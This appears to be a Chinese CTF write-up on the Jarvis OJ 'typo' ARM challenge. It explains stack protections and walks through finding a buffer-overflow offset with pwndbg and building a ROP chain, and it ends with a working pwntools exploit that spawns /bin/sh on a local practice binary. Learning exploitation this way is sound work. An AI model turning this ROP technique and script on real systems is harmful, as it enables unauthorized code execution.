1. 程式人生 > >Pwn-10月15-qemu

Pwn-10月15-qemu

Pwn-10月15-簡單瞭解異構pwn題

        參照m4x大佬的部落格簡單地搭建了一下環境後,繼續來練練手,簡單瞭解一下異構binary除錯,如arm,mips,環境搭建參照上一篇。

arm 的引數 1 ~ 4 分別儲存到 r0 ~ r3 暫存器中, 剩下的引數從右向左依次入棧, 被呼叫者實現棧平衡, 返回值存放在 r0 中 。arm 的 pc 指標相當於 eip/rip, b/bl 等指令實現了跳轉

Jarvis oj - typo

簡單說一下步驟:先檢視保護措施,可以發現沒有棧溢位保護,執行程式有溢位點可以利用,然後可以找到溢位點位置,找到system函式,以及/bin/sh字串的位置,然後拿到能夠控制 r0暫存器

一. 檢視保護措施

#checksec typo

    Arch:     arm-32-little	#32位小端序 arm架構程式
    RELRO:    Partial RELRO
    Stack:    No canary found	#無棧溢位保護
    NX:       NX enabled		
    PIE:      No PIE (0x8000)

順便學習一下幾種防護措施的意思:

RELRO:在Linux系統安全領域資料可以寫的儲存區就會是攻擊的目標,尤其是儲存函式指標的區域,儘量減少可寫的儲存區域可使安全係數提高。GCC, GNU linker以及Glibc-dynamic linker一起配合實現了一種叫做relro的技術Relocation Read Only, 重定向只讀,實現就是由linker指定binary的一塊經過dynamic linker處理過 relocation之後的區域為只讀。

​ 棧溢位檢查,用Canary金絲雀值是否變化來檢測,Canary found表示開啟。金絲雀最早指的是礦工曾利用金絲雀來確認是否有氣體洩漏,如果金絲雀因為氣體洩漏而中毒死亡,可以給礦工預警。這裡是一種緩衝區溢位攻擊緩解手段:啟用棧保護後,函式開始執行的時候會先往棧裡插入cookie資訊,當函式真正返回的時候會驗證cookie資訊是否合法,如果不合法就停止程式執行。攻擊者在覆蓋返回地址的時候往往也會將cookie資訊給覆蓋掉,導致棧保護檢查失敗而阻止shellcode的執行。在Linux將cookie資訊稱為Canary。

** NX ** : No Execute,棧不可執行,也就是windows上的DEP。 分析緩衝區溢位攻擊,其根源在於現代計算機對資料和程式碼沒有明確區分這一先天缺陷,就目前來看重新去設計計算機體系結構基本上是不可能的,我們只能靠向前相容的修補來減少溢位帶來的損害,DEP就是用來彌補計算機對資料和程式碼混淆這一天然缺陷的。

PIE: position-independent executables, 位置無關的可執行檔案,也就是常說的ASLR(Address space layout randomization) 地址隨機化,程式每次啟動基址都隨機。

二. 分析程式

開始遠端除錯:

另一邊使用 gdb-multiarch typo -q進入pwndbg,並且使用target remote localhost:6788連線程式:

生成padding,輸入後得到溢位資訊

pwndbg> cyclic 200
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab

三.確定溢位點

之前已經說過PC相當於EIP,RIP之類的指向下一條指令的暫存器,那麼可以計算padding到PC暫存器的偏移量進而確定溢位點為0x62616165:

使用pwndbg的cyclic -l命令可以通過地址,字串確定偏移量.

四.構造payload進行利用

默默標記M4x博文中的這句話因為是靜態連結, 所以 binary 中一定會有 system 函式 和 /bin/sh 字串, 如果能找到溢位點, 很容易就能用 rop 來解決了,學習一波姿勢,構造rop chain,通過ROPgadget可以找到我們需要的:可以用來傳遞 返回值的暫存器 r0

那麼接下來就是尋找system函式的地址,將其填入PC暫存器的位置,從而執行system('/bin/sh')

IDA除錯一波:

通過字串查詢或者交叉引用可以發現函式sub_10BA8

不知道是不是ida7.0的原因,這裡直接找到了system函式:

可以看到其執行命令的邏輯和地址:

接下來可以開始構造payload結構:

|	padding    		|	<< 112*'a'
|	pop {r0,r4,pc}	|	<< p32(0x20904) #gadget_addr
|	/bin/sh			|	<< p32(0x6c384)	#/bin/sh_addr
|	junk_data(r4)	|	<< p32("anything")	#r4填充
|	system_addr(pc)	|	<< p32(0x110b4)	#system函式地址

溢位導致PC指向gadget_addr,然後執行命令pop出棧將"/bin/sh"賦值到r0暫存器,junk_data賦值到r4暫存器,system_addr賦值到PC暫存器。

五.攻破

寫出exp:

#coding:utf-8
__Auther__ = "Yof3ng"

from pwn import *

io = process("./typo")

print(io.recvuntil("quit\n"))
io.send("\n")
print(io.recvline())
print(io.recvline())

payload = 'a'*112 + p32(0x20904) + p32(0x6c384)*2 + p32(0x110b4)
try:
    io.send(payload)
    io.sendline("echo xiaoyifeng")
except:
    print("Error!")
    exit(0)
if(io.recvuntil("xiaoyifeng")):
    print("getshell")


PWN真好玩!??